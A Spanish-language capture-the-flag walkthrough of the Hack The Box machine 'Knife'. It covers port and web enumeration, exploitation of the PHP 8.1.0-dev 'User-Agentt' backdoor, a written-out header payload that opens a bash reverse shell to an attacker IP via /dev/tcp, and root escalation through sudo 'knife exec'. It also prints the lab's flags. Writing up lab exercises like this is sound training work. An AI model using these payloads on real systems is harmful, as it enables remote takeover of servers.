Knife es un desafío con una complejidad fácil que verifica tus habilidades para explotar fallos de seguridad en una pagina web y los errores de configuración de usuarios, enumeración, explotación de PHP y la escalada básica de privilegios.
En primer lugar, como siempre comenzamos lanzando un nmap para comprobar los puertos que están abiertos.
nmap -F -sS -n 10.10.10.242
Starting Nmap 7.70 ( https://nmap.org ) at 2021-06-04 12:18 CEST
Nmap scan report for 10.10.10.242
Host is up (0.043s latency).
Not shown: 98 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.93 seconds
Dado que tiene abierto el puerto 80 lo primero que hacemos en lanzar dirb y acceder mediante nuestro navegador a la pagina web.
dirb http://10.10.10.242
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Fri Jun 4 12:19:23 2021
URL_BASE: http://10.10.10.242/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://10.10.10.242/ ----
+ http://10.10.10.242/index.php (CODE:200|SIZE:5815)
+ http://10.10.10.242/server-status (CODE:403|SIZE:277)
-----------------
END_TIME: Fri Jun 4 12:22:43 2021
DOWNLOADED: 4612 - FOUND: 2
ya que no encontramos nada con dfir, intentamos lanzar wfuzz y csmap pero el resultado es el mismo. No encontramos nada importante.
wfuzz -c -w /usr/share/dirb/wordlists/big.txt --hc 404,403 -u "http://10.10.10.242/FUZZ.txt" -t 100
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.242/FUZZ.txt
Total requests: 20469
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
Total time: 0
Processed Requests: 20469
Filtered Requests: 20469
Requests/sec.: 0
Obtener mas información sobre los servicios que están corriendo en el servidor web
nmap -sV --script=http-php-version 10.10.10.242
Starting Nmap 7.70 ( https://nmap.org ) at 2021-06-04 12:42 CEST
Nmap scan report for 10.10.10.242
Host is up (0.050s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-php-version: Version from header x-powered-by: PHP/8.1.0-dev
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Podemos ver que el servidor cuenta con un servicio Apache 2.4.41 bajo Ubuntu y PHP en su versión 8.1.0-dev.
Buscando vemos que la versión de PHP es vulnerable ( EDB-ID:49933 ) más info
searchsploit php 8.1.0-dev
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Concrete5 CMS < 8.3.0 - Username / Comments Enumeration | php/webapps/44194.py
cPanel < 11.25 - Cross-Site Request Forgery (Add User PHP Script) | php/webapps/17330.html
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploit) | php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | php/webapps/44448.py
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) | php/remote/46510.rb
Drupal < 8.6.10 / < 8.5.11 - REST Module Remote Code Execution | php/webapps/46452.txt
Drupal < 8.6.9 - REST Module Remote Code Execution | php/webapps/46459.py
FileRun < 2017.09.18 - SQL Injection | php/webapps/42922.py
Fozzcom Shopping < 7.94 / < 8.04 - Multiple Vulnerabilities | php/webapps/15571.txt
FreePBX < 13.0.188 - Remote Command Execution (Metasploit) | php/remote/40434.rb
IceWarp Mail Server < 11.1.1 - Directory Traversal | php/webapps/44587.txt
KACE System Management Appliance (SMA) < 9.0.270 - Multiple Vulnerabilities | php/webapps/46956.txt
Kaltura < 13.2.0 - Remote Code Execution | php/webapps/43028.py
Kaltura Community Edition < 11.1.0-2 - Multiple Vulnerabilities | php/webapps/39563.txt
Micro Focus Secure Messaging Gateway (SMG) < 471 - Remote Code Execution (Metasploit) | php/webapps/45083.rb
NPDS < 08.06 - Multiple Input Validation Vulnerabilities | php/webapps/32689.txt
OPNsense < 19.1.1 - Cross-Site Scripting | php/webapps/46351.txt
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py
Plesk < 9.5.4 - Remote Command Execution | php/remote/25986.txt
REDCap < 9.1.2 - Cross-Site Scripting | php/webapps/47146.txt
Responsive FileManager < 9.13.4 - Directory Traversal | php/webapps/45271.txt
Responsive Filemanger <= 9.11.0 - Arbitrary File Disclosure | php/webapps/41272.txt
ShoreTel Connect ONSITE < 19.49.1500.0 - Multiple Vulnerabilities | php/webapps/46666.txt
Western Digital Arkeia < 10.0.10 - Remote Code Execution (Metasploit) | php/remote/28407.rb
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities | php/webapps/39553.txt
Zoho ManageEngine ADSelfService Plus 5.7 < 5702 build - Cross-Site Scripting | php/webapps/46815.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
utilizando el exploit encontrado conseguirnos acceder con el usuario james
python3 49933.py
Enter the full host url:
http://10.10.10.242
Interactive shell is opened on http://10.10.10.242
Can't acces tty; job crontol turned off.
$ whoami
james
$ hostname
knife
Obtenemos la primera FLAG
$ cat ./home/james/user.txt
01bfb288b935a57399c0d91fcc969672
En caso que no queramos utilizar el exploit (a mi me dio muchos problemas después para elevar privilegios) podemos intentar explotar la vulnerabilidad manualmente utilizando ZAP o Burp Suite, para ello dejamos escuchando un NC
nc -lvp 1234
Abrimos ZAP o Burp Suite y ejecutamos una reverse shell utilizando: User-Agentt»: «zerodiumsystem(‘» + cmd + «‘) al igual que el exploit.
User-Agentt: zerodiumsystem("/bin/bash -c 'bash -i >&/dev/tcp/10.10.14.110/1234 0>&1'");
Una vez ejecutada si nos vamos a al terminal el cual teníamos escuchando el comando ‘nc’ deberíamos tener una reverse shell.
Empezamos a enumerar y lo primero que detectamos es que el usuario james tiene permisos mediante SUDO para ejecutar sin contraseña el comando ‘knife’
valiéndonos de los privilegios que han otorgado al usuario podemos elevar privilegios dado que el comando knife nos permite ejecutar comandos de sistema o scripts mediante la opción ‘exec’. Más información
Para ello, ejecutamos el siguiente comando:
sudo /usr/bin/knife exec -E "exec '/bin/sh -i'"
Tras elevar privilegios podemos obtener la ultima flag (No se porque al copiar y pegar se repetía dos veces…)
# cat /root/root.txt
695774b32219bb1f3f9402267b6d9607
:wq!